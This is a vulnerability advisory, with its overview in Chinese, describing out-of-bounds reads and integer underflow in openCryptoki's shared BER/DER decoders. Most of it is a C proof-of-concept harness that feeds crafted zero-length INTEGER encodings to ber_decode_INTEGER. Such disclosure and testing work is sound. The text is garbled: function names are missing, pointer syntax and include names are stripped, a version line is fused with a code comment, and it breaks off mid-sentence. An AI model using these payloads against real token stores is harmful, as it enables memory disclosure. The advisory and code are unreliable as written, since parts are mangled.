Memory safety vulnerabilities in BER/DER decoders in asn1.c 漏洞概述 在 openCryptoki 的 BER/DER 解码函数中发现了内存安全漏洞。这些漏洞影响了所有令牌后端(Soft, ICA, CCA, TPM, EP11, ICSF),因为易受攻击的代码位于共享库中。 具体漏洞 CWE-125 (Out-of-Bounds Read): 所有原始 BER 解码器( , , , , )接受一个原始指针但没有缓冲区长度参数。它们信任 BER 编码的长度字段而不验证其是否与实际缓冲区边界匹配。攻击者控制的长度字段会导致解码器操作在缓冲区外读取内存。此外,一些解码函数(如 )内部使用解码的长度字段进行进一步计算,这可能导致整数下溢和缓冲区外访问。 攻击场景 openCryptoki 处理 BER 编码的加密对象(密钥、证书)来自: 导入的 PKCS#11 对象通过 / 从磁盘加载的令牌对象( ) 从远程 ICSF/EP11 后端接收的对象 攻击者提供格式错误的 BER 编码密钥或证书可以触发 OOB 读取(信息泄露)。 影响范围 受影响版本: 0 and leading byte is 0x00 2. CWE-125: OOB heap read due to no buffer length validation in decoders 3. CWE-125: OOB read on zero-length INTEGER checking leading zero byte Build: gcc -fsanitize=address,undefined -O0 -fno-omit-frame-pointer \ -I./usr/include -I./usr/lib/common \ -DOSTIL_NAME=\"test\" -DLINUX \ poc_ber_decode.c \ usr/lib/common/.libs/libopenCryptoki-stdl_libpacks11_me_la-sent.o \ usr/lib/common/.libs/libopenCryptoki-stdl_libpacks11_me_la-trace.o \ usr/lib/common/.libs/libopenCryptoki-stdl_libpacks11_me_la-trace.o \ usr/lib/common/.libs/libopenCryptoki-stdl_libpacks11_me_la-utility_common.o \ -lcrypto -L/usr/lib -l:libpthread -lrt -L/usr -o poc_ber_decode \ -fsanitize=address,undefined ./poc_ber_decode / #include #include #include #include / Pull in the project types / #include "pckstypes.h" / Forward declarations matching usr/lib/common/asn1.c / extern CK_RV ber_decode_INTEGER(CK_BYTE ber_len, CK_BYTE data, CK_ULONG data_len, CK_ULONG field_len); extern CK_RV ber_decode_OCTET_STRING(CK_BYTE tag, CK_BYTE data, CK_ULONG data_len, CK_ULONG field_len); extern CK_RV ber_decode_SEQUENCE(CK_BYTE tag, CK_BYTE data, CK_ULONG data_len, CK_ULONG field_len); extern CK_RV ber_decode_BIT_STRING(CK_BYTE tag, CK_BYTE data, CK_ULONG data_len, CK_ULONG field_len); static void hexdump(const char label, const CK_BYTE buf, size_t len) { printf(" %s: %s\n", label, ""); for (size_t i = 0; i 0 and the byte at position [2] is 0x00, the code does: data_len = len - 1; // 0 - 1 = CK_ULONG_MAX / static int test_integer_underflow_short_form(void) { printf("===== TEST 1: ber_decode_INTEGER underflow (short form, len>0) ====\n"); / tag=0x02, len=0x00, followed by 0x00 byte / CK_BYTE payload[] = { 0x02, 0x00, 0x00 }; CK_BYTE data = NULL; CK_ULONG data_len = 0, field_len = 0; hexdump("input", payload, sizeof(payload)); CK_RV rc = ber_decode_INTEGER(payload, data, data_len, field_len); printf(" rc=%d, data_len=%lu (0x%lx), field_len=%lu\n", rc, data_len, data_len, field_len); if (rc == CKR_OK && data_len > 0xFFFFFFFF) { printf(" [VULN] data_len underflowed to %lu (0x%lx)\n", data_len, data_len); return 1; } return 0; } / TEST 2: Integer underflow (long form 1-byte length, len=0) Same bug, different encoding path / static int test_integer_underflow_long1(void) { printf("===== TEST 2: ber_decode_INTEGER underflow (long form 1, len=0) ====\n"); / tag=0x02, 0x81 (1 length octet follows), len=0x00, then 0x00 / CK_BYTE payload[] = { 0x02, 0x81, 0x00, 0x00 }; CK_BYTE data = NULL; CK_ULONG data_len = 0, field_len = 0; hexdump("input", payload, sizeof(payload)); CK_RV rc = ber_decode_INTEGER(payload, data, data_len, field_len); printf(" rc=%d, data_len=%lu (0x%lx), field_len=%lu\n", rc, data_len, data_len, field_len); if (rc == CKR_OK && data_len > 0xFFFFFFFF) { printf(" [VULN] data_len underflowed to %lu (0x%lx)\n", data_len, data_len); return 1; } return 0; } / TEST 3: Integer underflow (long form 2-byte length, len=0) / static int test_integer_underflow_long2(void) { printf("===== TEST 3: ber_decode_INTEGER underflow (long form 2, len=0) ====\n"); / tag=0x02, 0x82 (2 length octets), len=0x0000, then 0x00 / CK_BYTE payload[] = { 0x02, 0x82, 0x00, 0x00, 0x00, 0x00 }; CK_BYTE data = NULL; CK_ULONG data_len = 0, field_len = 0; hexdump("input", payload, sizeof(payload)); CK_RV rc = ber_decode_INTEGER(payload, data, data_len, field_len); printf(" rc=%d, data_len=%lu (0x%lx), field_len=%lu\n", rc, data_len, data_len, field_len); if (rc == CKR_OK && data_len > 0xFFFFFFFF) { printf(" [VULN] data_len underflowed to %lu (0x%lx)\n", data_len, data_len); return 1; } return 0; } / TEST 4: Integer underflow (long form 3-byte length, len=0) / static int test_integer_underflow_long3(void) { printf("===== TEST 4: ber_decode_INTEGER underflow (long form 3, len=0) ====\n"); / tag=0x02, 0x83 (3 length octets), len=0x000000, then 0x00 / CK_BYTE payload[] = { 0x02, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; CK_BYTE data = NULL; CK_ULONG data_len = 0, field_len = 0; hexdump("input", payload, sizeof(payload)); CK_RV rc = ber_decode_INTEGER(payload, data, data_len, field_len); printf(" rc=%d, data_len=%lu (0x%lx), field_len=%lu\n", rc, data_len, data_len, field_len); if (rc == CKR_OK && data_len > 0xFFFFFFFF) { printf(" [VULN] data_len underflowed to %lu (0x%lx)\n", data_len, data_len); return 1; } return 0; } / TEST 5: OOB heap read - no buffer bounds checking The decoder trusts the BER length field without validating against the actual buffer size. We alloc